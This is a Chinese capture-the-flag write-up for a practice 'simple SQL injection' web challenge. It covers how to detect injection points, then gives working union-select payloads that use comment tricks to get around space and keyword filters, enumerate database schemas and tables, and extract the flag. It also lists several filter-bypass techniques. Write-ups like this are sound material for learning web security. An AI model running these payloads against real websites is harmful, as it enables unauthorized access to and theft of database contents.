实验吧-Web3
3.简单的sql注入
思路:
检测是否存在注入点的两种常用方法:(更多注入详情:Sqli-labs环境通关教程-学习)
1.基于报错的检测方法
一般这种方法是输入单引号’。看是否报错,如果数据库报错,说明后台数据库处理了我们输入的数据。那么有可能存在注
入点。
2.基于布尔的检测方法---(这只是最基础的判断)
这种方法是输入:
- 1 and 1=1 ,通常这种情况会正常返回数据
- 1 and 1=2 ,通常这种情况不会返回数据或者直接报错
或者
- 1' and '1'='1 ,通常这种情况会正常返回数据
- 1' and '1'='2 ,通常这种情况不会返回数据或者直接报辑
或者 ---(使用双引号)
如果以上都判断不出,就要考虑盲注了。
分析:
假如后台处理数据的sq语句(后台在输入上加了单引号)是:
select name from user where id=' our_ input '
我们输入1' and '1'='1 , sq语句变为:
select name from user where id='1' and 1'='1'
后台数据库仍然正常读取数据.
我们输入1' and '1'='2 , sq语句变为:
select name from user where id='1' and '1'='2’
这样查询条件为假,数据库不能读取数据。
初步判断为单引号字符型注入,然后输入1 and 1=1 ,可以看到过滤了and并且空格被替换为了+ ,因此我们可以推断,这个题过滤了常用的sq|命令,可以
输入union and select from进行下测试,发现果然全被过滤掉了
补充:当空格被过滤时,通常用()或者/**/代替空格
爆数据库
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
发现数据库较多,尝试直接爆表
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
表太多了:
不过也暴露出了,我们想要的数据表。
爆字段,然而……报错了,information_schema.columns被过滤了
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1
所以就猜测字段名也是flag,试一下:(做CTF题,思路要活跃)
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
flag{[email protected]_5O_dAmn_90Od}
其他补充:
我们尝试单引号:
发现单引号没有被过滤,然后尝试逻辑运算,and被过滤了但还好or没有被过滤:
我们知道他过滤了很多关键字:and,select,from,union,where,但我们可以绕过关键字,方法有:关键字中间加/**/隔断,/*!关键字*/,关键字中间加%0b隔断,关键字重写(如:aandnd),大小写混合,双空格等等,尝试后/*!*/可以绕过,还是按套路,先拿flag做表名和字段名试试:
说明存在flag表,那基本就是老套路了,可以继续用这个方法验证,下面我就直接爆flag了:
ps:这里还有一种检验表名是否存在的方式:
注意还可以尝试这个方法
用‘+‘号来代替空格:?id=1‘+union+select+flag+from+flag+wherewhere+‘t‘=‘t
使用Sqlmap:
......稍后。